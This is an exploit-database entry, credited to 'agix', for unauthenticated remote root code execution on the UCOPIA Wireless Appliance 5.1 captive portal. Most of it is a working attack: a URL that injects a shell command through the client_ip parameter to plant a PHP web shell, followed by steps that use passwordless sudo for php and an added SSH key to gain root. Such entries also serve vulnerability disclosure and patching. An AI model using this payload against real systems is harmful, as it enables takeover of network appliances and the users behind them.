UCOPIA Wireless Appliance 5.1 (Captive Portal) - Root Remote Code Execution

ID EXPLOITPACK:0C3F54D7169303298E8F332BDD13F54B
Type exploitpack
Reporter agix
Modified 2017-10-02T00:00:00


UCOPIA Wireless Appliance 5.1 (Captive Portal) - Root Remote Code Execution

                                            # Exploit Title: Unauthenticated remote root code execution on captive
portal Ucopia <= 5.1
# Date: 02/10/17
# Exploit Author: agix
# Vendor Homepage: http://www.ucopia.com/
# Version: <= 5.1
# Don't know in which version they exactly fixed it.
# When you connect to Ucopia wifi guest, every requests are redirected to controller.access.network

# First create easier to use php backdoor
https://controller.access.network/autoconnect_redirector.php?client_ip=;echo%20'<?php system($_GET[0]);%20?>'>/var/www/html/upload/bd.php;echo%20t

# As php is in sudoers without password...

# Just push your ssh key and get nice root access (ssh is open by default even from wifi guest)